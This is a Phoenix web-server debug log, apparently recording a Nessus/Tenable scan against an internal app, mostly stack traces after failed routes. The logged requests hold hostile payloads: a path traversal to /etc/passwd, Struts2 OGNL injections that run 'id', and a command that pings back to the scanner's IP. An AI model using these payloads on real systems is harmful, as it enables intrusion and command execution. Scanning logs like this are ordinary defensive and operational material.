    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:28:12.056000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60206] GET /this_page_should_not_exist.htm
[Thu Sep  3 08:28:12.083000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60206] ** (Phoenix.Router.NoRouteError) no route found for GET /this_page_should_not_exist.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:28:12.329000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60220] GET /chassis/config/GeneralChassisConfig.html
[Thu Sep  3 08:28:12.348000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60220] ** (Phoenix.Router.NoRouteError) no route found for GET /chassis/config/GeneralChassisConfig.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:28:21.099000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49216] GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
[Thu Sep  3 08:28:21.115000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49216] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:28:25.466000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33186] GET /
[Thu Sep  3 08:28:25.466000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:33186] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:28:25.481000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33186] Sent 406 in 14ms
[Thu Sep  3 08:28:25.482000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33186] ** (Phoenix.NotAcceptableError) no supported media type in accept header.

Expected one of ["html"] but got the following formats:

  * 

To accept custom formats, register them under the :mime library
in your config/config.exs file:

    config :mime, :types, %{
      "application/xml" => ["xml"]
    }

And then run `mix deps.clean --build mime` to force it to be recompiled.

    (phoenix 1.7.19) lib/phoenix/controller.ex:1606: Phoenix.Controller.refuse/3
    (da_product_app 0.1.0) DaProductAppWeb.Router.browser/2
    (da_product_app 0.1.0) lib/da_product_app_web/router.ex:1: DaProductAppWeb.Router.__pipe_through0__/1
    (phoenix 1.7.19) lib/phoenix/router.ex:475: Phoenix.Router.__call__/5
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:28:36.201000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56966] GET /
[Thu Sep  3 08:28:36.201000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:56966] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:28:36.202000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56966] Sent 200 in 1ms
[Thu Sep  3 08:30:02.645000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48606] GET /
[Thu Sep  3 08:30:02.645000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:48606] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println(#parameters.tag[0]),#writer.flush(),#writer.close" => "", "tag" => "tenable-1031890937"}
  Pipelines: [:browser]
[Thu Sep  3 08:30:02.646000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48606] Sent 200 in 840µs
[Thu Sep  3 08:30:07.936000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49632] POST /
[Thu Sep  3 08:30:07.945000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49632] ** (Phoenix.Router.NoRouteError) no route found for POST / (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:30:11.363000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49648] GET //(%23mem=%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3f@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]):index.xhtml
[Thu Sep  3 08:30:11.372000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49648] ** (Phoenix.Router.NoRouteError) no route found for GET /(%23mem=%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3f@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]):index.xhtml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:30:55.531000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45244] GET /
[Thu Sep  3 08:30:55.531000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:45244] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"action:%{(new java.lang.ProcessBuilder(new java.lang.String[]{'id'})).start()}" => ""}
  Pipelines: [:browser]
[Thu Sep  3 08:30:55.532000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45244] Sent 200 in 836µs
[Thu Sep  3 08:30:57.754000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45244] GET /
[Thu Sep  3 08:30:57.755000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:45244] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"redirect:${#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#webroot=#req.getSession().getServletContext().getRealPath('/'),#resp=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#resp.print('At 1788424257 Nessus found the path is '),#resp.println(#webroot),#resp.flush(),#resp.close()}" => ""}
  Pipelines: [:browser]
[Thu Sep  3 08:30:57.755000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45244] Sent 200 in 934µs
[Thu Sep  3 08:30:59.546000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45248] GET /
[Thu Sep  3 08:30:59.547000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:45248] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"redirect:${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ping -c 3 -p39626f3556516c396d6c 103.73.119.116').getInputStream())}" => ""}
  Pipelines: [:browser]
[Thu Sep  3 08:30:59.548000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45248] Sent 200 in 1ms
[Thu Sep  3 08:31:02.811000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45258] GET //${%23context['xwork.MethodAccessor.denyMethodExecution']=!(%23_memberAccess['allowStaticMethodAccess']=true),(@java.lang.Runtime@getRuntime()).exec('id').waitFor()}.action
[Thu Sep  3 08:31:02.887000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45258] ** (Phoenix.Router.NoRouteError) no route found for GET /${%23context['xwork.MethodAccessor.denyMethodExecution']=!(%23_memberAccess['allowStaticMethodAccess']=true),(@java.lang.Runtime@getRuntime()).exec('id').waitFor()}.action (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:04.515000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45244] GET /
[Thu Sep  3 08:31:04.515000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:45244] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"redirect:${57550614+16044095}" => ""}
  Pipelines: [:browser]
[Thu Sep  3 08:31:04.516000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45244] Sent 200 in 1ms
[Thu Sep  3 08:31:11.523000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45708] GET /internalServerReporting.php
[Thu Sep  3 08:31:11.545000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45708] ** (Phoenix.Router.NoRouteError) no route found for GET /internalServerReporting.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:16.696000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45924] GET /Websense/cgi-bin/WsCgiLogin.exe
[Thu Sep  3 08:31:16.710000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45924] ** (Phoenix.Router.NoRouteError) no route found for GET /Websense/cgi-bin/WsCgiLogin.exe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:22.098000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45932] POST /flex2gateway/http
[Thu Sep  3 08:31:22.115000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45932] ** (Phoenix.Router.NoRouteError) no route found for POST /flex2gateway/http (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:22.709000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45934] POST /messagebroker/http
[Thu Sep  3 08:31:22.730000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45934] ** (Phoenix.Router.NoRouteError) no route found for POST /messagebroker/http (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:23.323000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43882] POST /blazeds/messagebroker/http
[Thu Sep  3 08:31:23.344000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43882] ** (Phoenix.Router.NoRouteError) no route found for POST /blazeds/messagebroker/http (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:24.317000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43894] POST /lcds/messagebroker/http
[Thu Sep  3 08:31:24.340000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43894] ** (Phoenix.Router.NoRouteError) no route found for POST /lcds/messagebroker/http (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
